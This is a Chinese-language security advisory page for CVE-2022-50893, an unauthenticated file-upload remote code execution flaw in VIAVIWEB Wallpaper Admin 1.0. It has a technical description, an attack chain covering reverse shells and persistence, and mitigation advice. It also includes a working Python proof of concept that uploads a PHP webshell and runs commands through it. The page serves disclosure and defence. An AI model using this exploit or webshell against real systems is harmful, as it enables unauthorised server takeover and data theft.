IPBUF安全漏洞报告
English
CVE-2022-50893 CVSS 9.8 严重

CVE-2022-50893 VIAVIWEB Wallpaper Admin 1.0 未授权远程代码执行漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50893
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
VIAVIWEB Wallpaper Admin 1.0

相关标签

CVE-2022-50893远程代码执行文件上传漏洞未授权访问VIAVIWEBWallpaper AdminWebshellPHPCVSS 9.8严重漏洞

漏洞概述

CVE-2022-50893是VIAVIWEB Wallpaper Admin 1.0中的一个严重安全漏洞,CVSS评分高达9.8,属于紧急严重级别。该漏洞存在于图像上传功能中,攻击者可以在无需任何认证的情况下,通过add_gallery_image.php端点上传恶意PHP文件,从而在服务器上执行任意代码。漏洞的CVSS向量显示其具有网络攻击能力(AV:N)、低攻击复杂度(AC:L)、无需权限要求(PR:N)、无需用户交互(UI:N),并且对机密性(C:H)、完整性(I:H)和可用性(A:H)都造成高影响。此漏洞由VulnCheck发现并披露,攻击者可以利用此漏洞完全控制目标服务器,获取敏感数据、安装后门、横向移动等,对企业安全构成极大威胁。

技术细节

该漏洞的核心问题在于VIAVIWEB Wallpaper Admin 1.0的图像上传功能缺乏严格的文件类型验证和内容检查。具体来说,add_gallery_image.php端点接收用户上传的文件时,仅检查文件扩展名或MIME类型,而没有对上传的文件内容进行深度验证。攻击者可以构造一个包含恶意PHP代码的图像文件(如将.php代码追加到图片文件末尾或创建一个伪装的.php文件),然后通过该上传接口将其上传到服务器。由于服务器配置不当或缺少安全加固,上传的PHP文件可以被直接访问和执行,从而触发恶意代码。攻击成功后,攻击者可以在服务器上执行任意系统命令,如读取/etc/passwd、反弹shell、建立持久化连接等。此漏洞的影响范围覆盖所有未打补丁的VIAVIWEB Wallpaper Admin 1.0版本。

攻击链分析

STEP 1
步骤1
信息收集:识别目标网站使用的VIAVIWEB Wallpaper Admin系统版本
STEP 2
步骤2
构造恶意文件:创建包含PHP恶意代码的文件(如webshell)
STEP 3
步骤3
上传利用:向add_gallery_image.php端点发送未认证的上传请求
STEP 4
步骤4
获取webshell路径:解析响应获取上传文件的访问路径
STEP 5
步骤5
远程代码执行:访问上传的PHP文件并通过参数执行系统命令
STEP 6
步骤6
持久化控制:安装后门、建立反弹shell、横向移动等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2022-50893 PoC - VIAVIWEB Wallpaper Admin RCE # Target: /add_gallery_image.php endpoint target_url = "http://target.com/add_gallery_image.php" # Create malicious PHP payload php_payload = "<?php system($_GET['cmd']); ?>" # Create multipart form data with malicious file files = { 'image': ('shell.php', php_payload, 'image/jpeg') } # Send upload request without authentication response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] File uploaded successfully!") # Try to execute command shell_url = "http://target.com/uploads/shell.php" cmd_response = requests.get(f"{shell_url}?cmd=whoami") print(f"[+] Command output: {cmd_response.text}") else: print("[-] Upload failed")

影响范围

VIAVIWEB Wallpaper Admin 1.0

防御指南

临时缓解措施
立即限制对add_gallery_image.php端点的访问,或暂时禁用图像上传功能。在Web服务器配置中禁止上传目录的PHP脚本执行权限,例如在Apache中使用<FilesMatch>指令阻止.php文件执行。同时部署WAF规则检测和阻止包含恶意PHP代码的文件上传行为。建议使用文件类型检测工具如file命令验证上传文件的真实类型,而非仅依赖文件扩展名。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表